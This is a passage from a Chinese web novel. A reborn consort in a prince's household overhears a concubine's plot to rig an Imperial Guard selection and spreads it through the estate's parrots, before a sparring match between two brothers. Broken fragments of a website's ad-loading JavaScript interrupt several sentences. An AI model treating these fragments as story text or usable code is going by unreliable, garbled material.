…… *** 从迎客厅回去住处,天已经要入夜了。 茸茸忙前忙后地掀帘子开门,萧烬安衣袖伸展,北屋大门紧闭,茸茸小鼻尖抵住门板,被萧烬安关在外面。 北屋卧房只有内外两个套间。 卧房不大,白照影屋里只点着一盏纱灯,他坐在外屋睡榻一角阴影里,介意古代的纱灯照明度太差。 昏暗的灯光给所有家具拖出长长的黑影。烛影摇曳,更是将萧烬安原本就阴鸷的面容,衬得犹如笼罩着一层浮动的黑雾。 白照影没能想到萧烬安会跟他进门。 萧烬安坐在榻边,正用修长的指节摩挲药瓶,融雪膏的玉瓶被他指腹轻轻划过,像阎王爷抚摸新鲜的头盖骨。 白照影在阴影里不敢看萧烬安,生怕哪个眼神会把此人激怒。他多次领教并深深佩服萧烬安变脸的功夫,沉默像是巨石寸寸下挪。 白照影头发根都要立起来了。 萧烬安打开玉瓶,瓶口发出乒的一声,那声音简直快要把白照影的神识敲碎了。 他讨好地唤了句“夫君”,脚腕被萧烬安不容置疑地拉过来,放在大腿旁边。 他把足衣缓缓给白照影扯下,吓得白照影连忙勾紧了脚尖,踝骨在萧烬安掌心滚轮般微颤。白照影脚踝、膝盖、小腿,都有被玉片刺破的伤痕。 玉片刺伤的伤口很不规则,多呈梅花或者菱花形状,斑驳的伤口在暗光下还白皙亮眼的皮肤落着,宛如雪地红梅舒展。 落下伤疤,确实遗憾。 萧烬安蘸取些半透明的药膏,在白照影踝骨上方的一点儿破口上面轻点了点,用粗糙的指腹缓缓推开,玉珠般的踝骨覆上层光亮的湿痕。 凉意和痒意晕染开,伴随融雪膏精致的冷香味。 白照影心肺俱清,既是死也没能想到萧烬安真会给他涂药,又是闭着眼轻轻吸了口气,忽然听见萧烬安一声嗤笑,那融雪膏又疼又辣的后调海潮般层层跃起。 白照影心神陡然绞紧,那条腿就要往回缩,却被萧烬安面无表情地钳住,对方并不像施展多大力气,可他一动也不能动。 就只能任由那点儿小伤带来的刺痛感,蔓延 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到他的四肢百骸—— 他被这种痛楚折磨得眼底泛起层泪光,肩腰在卧榻水蛇般打颤。 他实在受不了这种伤药的体感。 冰冷噬心,缠绵附骨。 他甚至开始不正常地悔恨自己为何不伤得再重一些,创面再大一点儿,就不用受这种细微又漫长的折磨。 白照影终究是忍不住,红着脸,发出声细细的哼唧: “呜……夫君,可以了,我好了,不要了。” 他天真地不知道这种讨好反而更加令人烦躁。 萧烬安抿了抿唇,略微坐直身体,理不清白照影是精还是笨。或者只是顶着副漂亮的眉眼做些愚蠢的行为。心思一眼就能让人望穿。 床畔纱灯摇曳了瞬。 茸茸在外面听见动静,轻轻敲门关切道:“少爷。诶,成美姐姐,好好,厨下没有人,我去给少爷烧热水。” 茸茸的嗓音从屋外消失。 白照影思绪不得不返回屋内,到底是确定了,萧烬安拿瓶药都能耍自己玩,对他的恶劣行径,有言语难描的谴责恐惧。 药还在继续发力,白照影痛得费尽心思的讨好,颤声填满整间屋子,无端在灯影里酝酿出几分暧昧。听得萧烬安额头突突直跳,无名火一把接着一把袭来: “好夫君,可以了好夫君,我受不了了,太多了好夫君,我会死的。” 他嗓音婉转,想哭也不敢真哭,想生气也不敢说狠话,就这么不清不楚颤声难耐地喊着,将这座世子院惹得万籁俱静。谁也不敢捣乱,谁也不敢出声。 唯有声源本人渐渐没意识到自己正在失控,涂膝盖时,声调从低徐徐拔高,似海潮一浪拍打一浪,最后飚出个带着哭腔的海豚音。 “啊!啊啊啊啊……” 整个世子院沉默片刻。 初夏的空气似乎都浓郁了几分。 成安掏了掏耳朵,少年郎带着一脸不明所以,世子也经常涂融雪膏,到底也没听见殿下像这么叫出首小调的。 成美轻功掠出院外,看看厨下热水烧好了没。 北屋白照影小死般趴在床榻,好话说尽,满头虚汗,嗓子哑得语不成声,他体质不行,声音越哭越干。 等萧烬安掀起他的腿要涂第二个膝盖时,白照影深吸一口气,还是得继续哭着飚海豚音讨饶,终于使得后者眉心沉到极致,烦躁不已地放过他站起来,深深调整了几口气息。 萧烬安把融雪膏,连膏带瓶戳在白照影旁边: “自、己、涂。” 白照影忽被放过,长喘了几口放松的大气,以为萧烬安是玩够了,或者是听他哭嫌烦了,暗中庆幸,再度把求生欲拉满。 白照影偏过脸双手抓起瓶子,作势小狗拜年:“好的,谢谢夫君赐药。”眼角还挂着泪。 萧烬安头也不回地出门。 外头茸茸肩膀搭着毛巾,成美捧着热水,庭院疏疏的月光照进北屋,映出衣着尚在,只有四肢露在外面的白照影,药痕未干。 成美微微皱了皱眉。 白照影死里逃生涂完了最后的右膝盖,忍痛道:“刚涂好,不能洗,别拿盆,我想喝水。请给我倒一杯。” “……” 8. 聆听秘密 白照影喝过水,好好地润了润已经干哑的嗓子,对成美跟茸茸都没什么吩咐,抱着枕头找了个光线最亮的地方,让她们多点几盏灯就睡熟了。 …… 因着昨天一连串的事件,白照影不敢轻易招惹萧烬安。他起得晚,日上三竿时,他才从被窝里面幽幽转醒,身上这时已经完全消去了涂药时的痛感。他在睡榻慵懒地翻了个面。 柔滑如丝瀑的长发垂落床沿。 白照影亵衣底下,伤口周围的青紫已经完全消退,乳白色肌肤被日光照射亮得晃眼。他没能分出注意力瞧自己其实已经康复大半的伤痕,而是侧着耳朵仔细聆听。 南屋没有萧烬安的声音。 他坐起来看看,隔着帘子,也未找到萧烬安的身影,未免暗自庆幸萧烬安并没有每天捉弄自己的兴趣。 那既然萧烬安不在,就能摸鱼划水,又熬过一天——他还要及时行乐,重生需珍惜。 茸茸醒得早,过来给他洗漱兼投喂早饭。 王府的木犀花饼尚且还在供应。 白照影用了块饼,又喝了小碗的粳米粥,觉得不够,再要了几碟点心。 重生后他胃口见长,但荷花酥他不爱吃,这东西外头一层层酥皮,做出花瓣重叠的模样。每片酥皮滋滋冒油,吃两口就腻。 早膳用毕,侍从侍女鱼贯而入,将碗碟撤出去。 白照影看着那碟没吃完的荷花酥,出声吩咐:“留下吧。” 侍女的手指尖刚刚接触到碟子,收住动作,福了福身,向后退出屋外。 茸茸凑在桌边也吃不下去,问道:“少爷留着它下午用嘛?” “不用。待会儿端着,去喂鱼。”白照影有心好好开发隋王府的活动项目,上次他逗水鸭坐游船,在船上漂流时,发现王府湖泊有鱼,点心掰碎成渣,正好喂鱼。 茸茸跟着欢天喜地。 主仆两个跟做贼似的穿出庭院,一路没见萧烬安。 穿过月牙门进了花园,王府造景主要由花木、叠石、湖泊组成,阳光透过绿荫照在石砖,形成大大小小如圆镜似的锃亮光点。 在紧挨着湖边的地方,头顶有树荫,背后靠着假山叠石,茸茸和白照影站定。 白照影搓了把点心渣,随意往湖水里一撒,每颗点心渣在湖面荡起大大小小的涟漪,白照影安静在湖水边等候。 晴天的时候,如果水平如镜,鱼儿会对水面波纹非常敏感,前世白照影少有户外娱乐,在医院散步时,偶尔会看看那里的鱼,稍微知道些鱼儿的习性。 果然,第一条红锦鲤被水纹吸引,远远游过来,摇头摆尾地浮出水面,张嘴吞了鱼食。 接着是第二条、第三条…… 一把把点心渣抛下去,层层波纹吸引来更多的鲤鱼,不多时在白照影跟前,鲤鱼聚集成巨大的如花团般的鱼群,吞食声呼哧呼哧。 白照影玩得乐此不疲。 “少爷,你看还有纯金色的鲤鱼!”茸茸兴奋地摇晃白照影的衣袖,指尖指给他看。 白照影望过去,不仅有纯金色的,还有纯白色的,雪一样的白,鱼鳞不带半点儿杂色。隋王府培育的鲤鱼品种珍贵,数量也比他在医院见到的观赏鱼多得多。 可是,就在鱼群吃食投入的时候,水草丛里忽然传出阵阵粗嘎的大叫。 鱼儿同时打了个激灵! 刹那间,鱼群散开,池影稀碎。 水草里窜出只半人高的大鹅,鹅背后还有鹅,林林总总十几只鹅。鹅群扑棱棱冲到水里大肆掠杀,为首的恶霸鹅,正是当初跟白照影对打的那只! 当真是冤家路窄。 鹅和白照影狭路相逢,两相对视,白照影猛打个机灵,丢掉盘子,拉起茸茸,拔腿就跑。 他当然打不过那么多鹅。 “嘎!嘎嘎!” 恶霸鹅一展双翅,腾空飞起快两米,半空中指挥它的帮手们并肩齐上,群鹅接到召唤,联合对白照影两人奋力追赶。 陈大夫说自己不能受到惊吓,自从听了这番话,白照影就害怕自己突然昏倒或者虚脱。 王府太大,家兵家将又太少。 除了芙蕖院那几个卫兵尚有规模,其他地方总是稀稀落落瞧不见人影。白照影跑得双腿酸痛。愣是没找到能求助的人。 “少爷,它们追上来了……” “少爷,它们会飞!” 白照影脚步加快,想甩开群鹅。首领大鹅在后面纵身跃起,凭借自己会飞,越过白照影挡在他前头。鹅嘴大张,就要开咬。白照影指东打西,虚晃一招闪过。 鹅旁边错开两道轻灵的身影。 白照影拉起茸茸再度钻进湖畔游船,这回轻车熟路地解开绳索,给岸上望船兴叹的大鹅,回敬了个上次的鬼脸:“承让了鹅兄,就此别过——” 茸茸拍手:“少爷,咱们赢啦。” 白照影抚着胸口,他点点头。把船舱关上,等待气息喘匀。船就继续顺水而漂。 他忽然坐起身,打开船舱窗户,探头张望隋王府碧波荡漾的湖面,白照影抬了抬眉,继而意识到出现了个很严重的情况。 ——船,不会划,依然不会靠岸。 至于这次漂到哪里,那就得自求多福了。 *** 隋王府,校场。 午后的阳光晒在身上,犹如刀割般毒辣。 校场几十丈见方,四周被茂密的花木围着,入口处摆放着面红漆掉了一半的战鼓,空气中弥漫着腥臭的马粪味。 王府造景精美,唯有这处铺得是土路,现在日日赋闲修道的隋亲王,当年也曾经领兵,隋王年轻时候的风采,只能在此处校场,还能隐约看出。 王府家将急得满脸涨红,擦了擦额头的汗禀报: “侧妃娘娘,二公子练……练了半天,连马背都没上去,这,这——” 许菘娘满头珠翠,簪子在烈日下闪着强光。天很热,她涂在脸上的脂粉已经有些糊了。 她以帕子掩口,阻隔呛鼻的马粪味,对家将下命令道:“不行!过些天就是锦衣卫选拔考核,瑞儿连马都不会骑,今后怎么保护圣上?” 大虞朝历代皇帝都对锦衣卫赋予无限的器重。 锦衣卫直属皇帝,也只效忠于帝王,能够入选锦衣卫,在锦衣卫里混出名堂,得到天子青睐,前途不可限量。 许菘娘还在做让儿子延续隋王府荣光的美梦,对家将令道:“练,再让他练!” 家将领命。 这时萧宝瑞穿着身松垮垮的曳撒走过来,他一把扔了马鞭子,坐在许侧妃旁边向后仰,咕嘟咕嘟喝消暑汤。 家将为难地看着萧宝瑞:“二公子……” “不练了!”萧宝瑞把地上的马鞭子远远踢开,大声道,“说什么我都不练了!滚,你们统统滚出去,这么大热天傻子才在校场活受罪,沤得我浑身都是马臭味!” 萧宝瑞十七八的年纪,眯缝眼,人不太高。眼下略带虚浮的乌青。不过眸光中尚有几分神采,显得他有些小聪明。 刚才萧宝瑞故意发作砸碎茶碗,把家将都撵出视线之外,这样就没谁敢过来逼他骑马了。 然后,萧宝瑞迅速换上一张卖乖讨好的表情,声音软下来央求许菘娘:“娘,孩儿午饭吃得太多,到现在肚子都在胀,真不适合饭后骑马,颠得慌。”说罢作势欲呕。 许菘娘连忙放下帕子给儿子拍背,边拍边顺气道:“贪嘴,让你中午少吃些肉食你不听!鹿肉那东西不好克化,怎么样?好些没,还想不想吐?” 萧宝瑞边咳边哭,眼睛红了一圈儿,含着泪道:“娘,难受。孩儿肚子疼,真的不练了。” 他紧紧地捂肚子,许菘娘怕儿子有事不敢妄动,尽力安抚了好半天,萧宝瑞的脸色才慢慢变好。 许菘娘拿帕子擦擦眼泪,轻叹口气:“瑞儿。娘知道你辛苦。可像你这般文不成武不就,还天天给娘要钱赌钱的,娘倒是担得起,但娘不放心你今后啊……娘走了你今后可怎么办?” 许菘娘哭得真切,妆糊得更狠了,眼角纹路再厚的脂粉也遮盖不住。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>萧宝瑞虽然浑,但在他娘面前永远都是卖乖撒娇,赶紧拿袖子给许菘娘擦眼睛: “娘,孩儿知错了。孩儿就是身体不方便练,等孩儿缓上几天,肯定能够策马驰骋,再给您表演个马踏飞燕。”说着萧宝瑞做出个展翅欲飞的夸张动作。 许菘娘破涕为笑:“就你嘴贫。有这嘴上功夫,何愁不能文武双全?” 提到文武双全,许菘娘像是意有所指。 萧宝瑞却架着腿给自己又灌了碗消暑汤,桂花酸梅,爽口生津。 萧宝瑞享受地哈了口凉气,靠在椅背悠然道:“我怕什么?娘能当正妃,我就是世子,整个隋王府都是咱们的,文武双全有屁用?” 哗—— 花丛里倏然露出声轻响。 白照影跟茸茸蹲在花丛后面,主仆两个心里都在咚咚打鼓。幸亏与此同时过去道热风。他俩人也是倒霉透了,这次船飘荡到王府校场,以为能平安无事,谁知又碰见许菘娘! 可不想再被罚跪,白照影按着茸茸,往灌木丛里藏得更深。 许菘娘则是一把捂住了萧宝瑞还沾着酸梅汤的嘴: “小祖宗,你小声些!娘就是有这颗心,也遭不住你这张嘴……这是能摆在明面儿上议论的吗?” 许菘娘迅速环顾四周,目光在灌木丛停留片刻。 最近上京城里对她刻薄儿媳的行为物议汹汹,她都不敢出门跟别家女眷喝茶,走到哪里都有人拿这个事儿戳她的脊梁骨,她怕再传出什么流言。 白照影寒毛耸立。 好在,许菘娘没过多久又把注意力放回儿子身上,低声说:“娘偷偷告诉你,这次锦衣卫选拔,皇上另开了恩典,允许各家送个儿子进入宫中。我跟你父王软磨硬泡,他才答应你入锦衣卫。” 萧宝瑞微微睁大了眯缝眼,眸光亮起来:“娘的意思是说,内定?” 许菘娘点头。 白照影却在灌木丛中不由抿起了嘴。见到许菘娘拿指尖戳萧宝瑞的额头,循循善诱: “所以说,瑞儿,你就去走个过场,但断然也不能太丢脸面。爹娘都把前路都给你铺好了,等你待会儿休息好,咱们再练起来。你看上京城的锦衣卫多威风,你想不想跟他们一样?” 萧宝瑞到底是还有点儿英雄主义的情怀,多少提起些兴趣。 “行……” “那就太好了,娘知道你一定能行!” 说着许菘娘声音压得更低,因为想给萧宝瑞再打鸡血,她给儿子畅想今后: “锦衣卫是天子之刃,你先入锦衣卫,搞好人脉,站稳脚跟。娘再在家里使劲搏一搏,要这个正妃之位,再帮你争这个世子。最好的结果就是娘和你都能成功,扳倒小贱人和孽种。” 她自以为声音很小。 却提议时本人情绪激动,后半句咬牙切齿,让白照影听得清清楚楚,继而浮现起胆寒。 白照影还是不由自主地对号入座,那个“小贱人”当然指得就是自己,至于“孽种”……难道指得是萧烬安? 心头浮现起一丝疑惑。 白照影眉眼微垂——古代的妾室怎能喊王妃生的嫡子叫孽种? 按照尊卑关系,如果隋王妃还在世,许侧妃没在王爷跟王妃同时首肯的情况下抬进王府,那才是尊卑不分,萧宝瑞才是孽种。 总之,无论如何,礼法不当把萧烬安叫作孽种,纵使隋王府宠妾灭妻也不可。 白照影琢磨这个问题,他想不通,并且隐约察觉出整座隋王府,所有人都有点怪怪的。 他蹲得脚麻,警惕地挪动身子。 此时灌木丛里,突然传出道尖利的人声: “来人啊,有人啊。” 那声音比寻常丫鬟或者侍卫的音调要高许多,声音尖锐带着股不真实感,引得白照影寒毛根根炸立。 完了,又完了。 他以为自己又要得罪许菘娘,果然,许菘娘连忙起身,厉声对灌木丛方向:“谁在那里!” 许菘娘豁然站起来,向着白照影走去…… 9. 精致淘气 “来人啊!有人啊!” “王爷万安,王爷驾到……” 许菘娘正要朝白照影藏身的方向走去,忽然听见灌木丛中猝不及防的一声“王爷驾到”,她连忙旋身,要给隋王行礼。 白照影更害怕了,上回只有许菘娘在,为了脱身他还闹得满身伤痕,如果现在再加上个隋王本尊,发现他在草丛里偷窥,他虽然不清楚隋王是个什么脾气,总之不可能不生气。 可是许菘娘朝身后校场方向福身。却没见到任何人,许菘娘露出个疑惑的表情。 座位上萧宝瑞大笑起来,他一抬手,胳膊落了只鹦鹉。 萧宝瑞拿果盘里的瓜子投喂,嘻嘻哈哈道:“娘,父王哪会来这儿,就是长春廊挂着的鹦鹉,这些扁毛畜生最会吓唬人了。” 萧宝瑞熟练地吹弄口哨,逗鹦鹉学些油腔滑调的贯口。 鹦鹉学舌,十分精明。 许菘娘这才解除警惕,无奈道:“好了,你再玩一会儿,娘陪你继续练骑马。肚子还疼不疼?要不先请府医给你瞧病?” 萧宝瑞架起鹦鹉,鹦鹉道:“——婆婆嘴,烦死啦!” “臭小子,我揍你。” …… 许侧妃没发现灌木丛里有人。 白照影带着茸茸找了个机会撤离,距离校场越来越远,身后萧宝瑞那杂乱的马蹄声,依旧没有丝毫长进,就好像是有一面破鼓,被谁用小锤在鼓面上乱捶。听得让人喘不上气。 日光热辣。 远远传来许菘娘给儿子鼓劲儿的喊声。 茸茸望了眼四周无人,在小路上,拉着白照影的衣袖小声问:“少爷,我们是不是听见了秘密?” 白照影点头,拨开探到身前的一根树枝,道:“还是个很大的内幕。” 茸茸说:“少爷,锦衣卫很厉害?要是那个叫‘瑞儿’的哥哥当上锦衣卫,会不会对少爷有什么威胁?” 白照影咽了口口水。 其实,在他前世文学艺术作品异常繁荣的年代,锦衣卫的凶名,早已经跟暗杀、酷刑、罗织冤案等难解难分。 回忆起刚才许菘娘在提他时那种恶意,那声带着怨毒的“小贱人”,白照影心绪实在难平。惹上这对母子,只觉得满心烦闷。 “少爷?”茸茸又轻轻拉他衣袖,眼睛里亮晶晶,“茸茸保护你。” “……”他当然没丢人到让个十岁出头的小丫头保护自己。 白照影摸着茸茸的脑袋,想对茸茸吹几句大话,结果只是刚刚吸进口气,王府小路深处听见声长长的“世子驾到”,吓得白照影差点儿一头撞进假山里。 一只鹦鹉毛色鲜亮,落在白照影跟前,鹦鹉在树枝上晃晃悠悠,张了张红色的鸟嘴: “给世子请安。世子万安。世子万安。” 白照影意识到自己又被骗了。 因为这声万安,他再度牵动了全身细细密密的伤痕,昨晚被按在榻上戏弄的惨景历历在目,白照影摸了摸鹦鹉脑袋,毛绒绒的,是种细腻带点儿油润的质感。 他耳尖泛红地道:“跟我学。世子笨蛋。” “世子笨蛋!世子笨蛋!”白照影喂它条果干。重生后胃口好,他有随身揣零食的习惯。 茸茸惊讶地踮脚观察:“少爷,它好聪明……” 世子院的果干,清香甘甜,鹦鹉不常吃到。鹦鹉随即落到白照影肩头不走了,张开翅膀,用翅尖指了指岔路向前的方向,花木遮蔽的那座建筑,里面有翅膀扑棱扑棱的声响。 白照影沿着台阶仰望—— 长春廊几百只鹦鹉挂在廊道。 夏风拂动,金属架摇曳,鹦鹉架子同时发出拉弦般吱呀吱呀的声音,群鸟鸣叫,一些鸟儿扇扇翅膀飞出廊外,又有一些鸟儿飞回廊里。 白照影肩头的那只鸟儿起了个头:“王爷万安。”几百只鸟跟着学舌,刹那间竟叫出了个军阵的架势:“王爷万安!”“王爷万安……” 令白照影大为震撼。 他想起刚才许侧妃母子的密谋,脑袋里突然有根弦搭上了。 白照影浅色的瞳孔里盛满长春廊活跃万分的鹦鹉,他用力吸了一口气,从袖袋里摸出所有梅肉果干,先给为首的鹦鹉大快朵颐。 然后,白照影压细声音,尽力模仿许侧妃的口气,道: “娘偷偷告诉你,锦衣卫选拔内定萧宝瑞。” 长春廊霎时鸟声鼎沸。 …… *** “娘偷偷告诉你,锦衣卫选拔内定萧宝瑞。” “娘偷偷告诉你,锦衣卫选拔内定萧宝瑞。” “娘偷偷告诉你……” 这几日,王府所有鹦鹉学会了新词儿。 鹦鹉在隋王府乱飞,误闯世子院还能对上口号的,白照影统统赏了大把果干。 鹦鹉分不清各院之间的差别,但以为只要说这句话就能领奖,纷纷更加卖力地营业。 北屋屋檐下频频听见鹦鹉学舌。 鹦鹉能够飞到王府各个角落,当然也能传播到王府之外。 几百张鸟嘴去往不同方向叭叭,散播能力几不可控,使许侧妃所谓的“偷偷内定”,完全变成个十足十的笑话。 她反正在上京城贵妇圈已经担上个“刻薄晚辈”的名声,再来条“不守妇德,苛待长子”,想必也是鲜花着锦。 白照影一包一包地向外掏着果干,自以为打了场神鬼不知的生物战。许菘娘必不会想到,教鹦鹉学说话的是自己,兴许还以为是哪只鹦鹉,学她本人说话,学漏嘴了。 这种偷偷办坏事的感觉让人愉快。 不过,他依旧不知道许菘娘会不会厚着脸皮,硬把萧宝瑞送进锦衣卫,未来的守寡生活,不希望有更多麻烦的情况出现,纵使今后有表哥照拂,他尽量给表哥少找麻烦。 白照影呆呆地给自己嘴里塞了条果干,舌根发酸,一直蔓延到两腮。 茸茸拨开虾须帘闯进来,进门就压低声音:“少爷,在长春廊,有好戏!” 茸茸眼神晶亮。 白照影心中略有预感,丢了果干换成一把瓜子,登上飞仙亭,整座隋王府最高的建筑。 居高望远,白照影手扶栏杆,目光锁定到长春廊的位置,那地方枝丫晃动,花叶间瞧见若干名王府家兵、丫鬟仆人,各个挥舞网兜乱扑乱抓。 飞鸟的灵活度远胜于人。 即使是身怀武功的侍卫们,同样在长春廊上蹿下跳。 白照影远远被许菘娘簪子上面的反光刺了下,微眯起桃花眼,看到许侧妃慌乱地在廊道指挥捕鸟,他一边磕瓜子一边吃吃地笑,半个身子探到栏杆外面,隔着若干层园林山水观战。 许菘娘的高峨髻落了只鹦鹉,婢女旋身,网兜挥舞…… 白照影咂咂嘴不忍直视,盐水瓜子入口咸香,他嗑了一枚又一枚。 却不知从什么时候开始,茸茸早已经离开飞仙亭外。飞仙亭被成安成美悄然无声地把守,萧烬安在白照影身后已站了一会儿了。 他这几日服过药后心绪不宁,人处于将疯未疯的边缘,故而有段时间都没理会白照影。 萧烬安来飞仙亭独自发作,却看见白照影霸占亭子,扒着栏杆嗑瓜子,像只永远也吃不饱的金丝熊。 那瞬间他也不知自己哪根筋搭错了。 原本想把白照影直接扔出亭外,却在望向远处长春廊人鸟斗的时候,想起那一声声近来总是盘桓在世子院的鸟语: “……娘偷偷告诉你,锦衣卫选拔内定萧宝瑞。” 这话不可能是许氏说的。 如果鹦鹉无意学会许侧妃的话,对王府庶子的称呼,应当是“瑞儿”而不是“萧宝瑞”,教它们传鸟语的人没意识到这点,并不特别高明。但用鹦鹉学舌传话,倒是别有意趣。 萧烬安眸光晦暗地望向长春廊的许氏。 然后,收回视线,投向白照影目不转睛的侧脸。 暖光给白照影打上了层淡金 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 色,他听到白照影低低的笑声,吃瓜子时露出截嫩红的舌尖,心头那股躁郁在不知不觉间被对方转移。 萧烬安嗓音响起来,刚喝完药。略带沙哑地嘲讽:“我竟不知爱妃还有些精致的淘气。” “嘶——”白照影被瓜子皮重重地戳了下舌头。 他愁眉苦脸地扭过头,小脸瞬间垮下来,看热闹的兴致敛去大半,直直撞进萧烬安阴郁深邃的视野:“世、世……子殿下。” 萧烬安淡淡:“你心虚的时候,八成会喊我殿下。” 白照影连忙改口,营业笑容跟着挂上来:“夫君。” 萧烬安对这称呼无可无不可,故意将视线投向远处:“你知道,过不了多久许菘娘就要来向我问罪。她必然以为是我干的。爱妃嫁祸我。” 白照影心说,我哪敢嫁祸您?我就是不想让她得逞罢了。 但本职工作是哄好大魔王,萧烬安语气现在阴暗得像朵黑夜角落里的毒蘑菇,白照影委实害怕这朵蘑菇会毒死自己。 他讨好地递出个剥开的瓜子:“夫君尝尝?” 那颗被唇齿嗑开的瓜子,无可避免地带着亮晶晶的口水。 萧烬安嫌弃地瞟了一眼。 白照影连忙塞进自己嘴里毁尸灭迹:“夫君是王府嫡长子,任职锦衣卫效忠御前,本该紧着夫君。退一万步说就算公平竞争,也不该这样内定。我是打抱不平。想为夫君出气。” 平抑下去的躁狂感,又猝不及防阵阵上翻。 脑海听不懂长串的话,萧烬安唯独能依稀辨别的,居然是个清甜短促的词语“夫君”“夫君”“夫君夫君”…… 萧烬安暗中舔了舔犬齿。 一股疯劲儿突然上来,他腹中有架罗盘绞紧,萧烬安攥紧白照影的衣襟往身前带,两人陡然离得极近。 萧烬安用泛着稠密血丝的眸子,逼视白照影,却因为看不清也听不清,目光只能锁定在对方淡红如桃花色的唇瓣。 那双薄唇开开合合,说些意味不明的话,日光漏进飞仙亭,白照影舌尖被瓜子皮刺中的地方,破开丁点儿嫣红的血。 血液催发了萧烬安的凶性,他大手托起白照影的脸,俊美的五官变得狰狞,他迫使白照影半张口,吐出那截柔滑的舌头,却吓得白照影扒住他的手,滴滴答答淌下了眼泪。 白照影不知哪里激怒了萧烬安。 心底泛起股危险感,他害怕萧烬安吞噬自己,渐渐的,竟被萧烬安浑身的压迫感折磨的没法说话、没法呼吸。 他敏感地求饶。大颗泪珠砸在萧烬安掌背,开出朵朵晶莹的水花,滚烫的热意让萧烬安怔了怔,然后眸光从浑浊变得恢复了半刻清明。 少年已经哭得像朵沾湿的桃花了。 萧烬安缓缓吐出口呼吸,药劲将疯症带来的焦躁感敛去,他撒开白照影,继而命令白照影离开飞仙亭。 可是这时飞仙亭外,成安过来传话,挡住白照影离开飞仙亭的脚步,双方各自停住。 萧烬安不耐道:“怎么?” 成安:“小翠过来带话,说侧妃娘娘传世子妃过去。” 白照影心头狂跳,没来由先退后半步,差点儿绊倒在飞仙亭的台阶: “可知道是何事?” 成安无奈地挠了挠头:“小翠架着只绿鹦哥,鹦鹉每学几十遍娘娘的话,就会冒出句‘少爷,它好聪明’,世子妃,许娘娘让您过去解释解释……” 白照影脸垮了,千算万算,竟没想到失此一算,怎么也没想到那鹦鹉,还会把茸茸的话也给学了去! 茸茸跟白照影同时筛糠,此去必是龙潭虎穴,但白照影又不能不去,否则岂不真成了做贼心虚? 白照影脚步艰难地往亭外迈了一迈。 未知带来的恐惧感,使他动作变得更加缓慢,他想起芙蕖院让他受过的伤,嘴角不自觉向下撇。 怎知却在这时,亭内的隋王世子冷声吩咐:“成美,带萧宝瑞上校场,我指点他武艺。” 10. 乱了方寸 隋王府校场依旧是熟悉的马粪味。 白照影站在破破烂烂的红鼓下面,成安成美站在他后面,茸茸扒着白照影的袖子,露出个花苞头小脑袋。 本来是侧妃传唤世子妃。 但由于萧烬安横插一杠子,嫡兄命令庶弟,天经地义。 如此,许菘娘哪里还有心思找白照影兴师问罪,务必会改道赶去王府校场。 校场正中,世子兄弟两个已经站定。 王府家将给两人递上练习用的木刀。 萧宝瑞喉咙滚了几滚,不知怎得,就觉得萧烬安的刀,要比自己的重些,掌心沁出冷汗。 以前他仰仗隋王跟侧妃的宠爱,对这个脑袋不清醒的嫡兄甚是厌烦,至于想取代他的地位,在许氏的耳融目染之下,萧宝瑞也觉得是理所当然。 可如今与隋王世子校场对峙,萧烬安不过是随意将刀柄握住,散漫地瞧着刀刃上的落灰,萧宝瑞就不敢看萧烬安。 嫡兄在气势上如有实质的压迫感,绵密如钢针潮海,萧宝瑞浑身泛起不适,脑袋里循环掠过的,是萧烬安发疯杀人、世子院隐藏着他藏尸埋骨之地的血腥传闻。 萧宝瑞双腿发颤。 萧烬安将刀尖点在他的脚尖前,只这么根本算不上起手式的一挥。 萧宝瑞猛退两步,竟自己被自己绊倒,跌坐进校场的马粪堆。 萧宝瑞恶心得脸都绿了。他在心中大骂了许多声疯子,可疯子只微微勾了勾嘴角。萧宝瑞自觉被萧烬安嘲讽,于是用力挥刀向萧烬安斩落,刀与刀之间的交击处在半空中悬停了瞬。 萧烬安嗤声。 萧宝瑞抬脚踹萧烬安胸前的空门,前者后退半步,使得萧宝瑞再次突然失去重心,猝不及防又跌坐在另外一大滩的马粪上面。 萧宝瑞面部青筋剧烈地颤抖! 他哪里受过这种闷气,萧宝瑞暗骂“疯子劲大”,心中早已知道实力悬殊,但表面还是维护脸皮嘴硬,颤声道:“再、再……再来!” 木刀无趣地插在萧宝瑞眼前。 只不过打了两招,萧烬安索然无味:“我原以为,让你入北镇抚司,是你武艺有所精进,记得你七岁那年,还能拿木刀打猎。” 萧宝瑞不吭声,说得是他十多年前的事情。 萧宝瑞纵使再纨绔,也还是个少年,被自己厌恶的嫡兄当着这么多人讽刺,他面上涨红,咬咬牙第三刀砍来。 这刀算贯注他全身气力,萧烬安眉眼略沉,持刀的手腕转了转。 两柄木刀刀刃间相互擦过。 萧烬安推进至萧宝瑞跟前,他心绪尚且平稳,但见萧宝瑞有了几分想打的血性,到底不负还有些当年行伍出身的隋王血脉,于是撞开那刀,去扫萧宝瑞的腿。萧宝瑞自然不是对手,再度瘫坐在地。 世子与二公子之间实力的差距,自不必说。 即使王府家将有心向着萧宝瑞,知道许氏母子在家中更得宠些。但在校场刀兵相向时,那点势利未免都要向实力让步——“锦衣卫内定萧宝瑞”,根据情形看起来,有如笑话一般。 怎知这时,萧宝瑞竟从袖袋突然摸出个瓶子!变故猝不及防,瓶中血红色的雾气如团花般在萧烬安身上绽开。 校场顷刻浮起层呛辣的热意。萧宝瑞眯缝眼里光芒一盛,旋即露出道得意的神采。正欲举刀再战。 “世子当心!”成安道。 白照影不知切磋武艺还能出此阴招。心头骤然绞紧。视线凝聚在校场正中,见萧烬安早已在萧宝瑞刚拔起瓶盖时退后半步,又在萧宝瑞提刀逼近时候,将他一掌推开。 萧宝瑞整个人飞出去。 萧烬安原以为这是毒物,他自幼中毒中得太多,寻常毒物伤不着他。他略微回神,目光落在萧宝瑞身上,嗅出这呛辣味有点熟悉,好像是胡椒与刚传入大虞的辣椒研磨而成的粉末。想必为了暗算自己,萧宝瑞故意让厨房准备的。 此人性情荒唐,他刻在骨髓里的心机跟鬼蜮伎俩,从小被惯坏了的娇纵任性,母子二人,同样恶心。 萧烬安眸光深深地暗下去。 “秘密武器”未能奏效,反倒像是激怒萧烬安,萧宝瑞这下真的慌了,他四顾意图呼救。 许崧娘慌慌张张赶到校场。 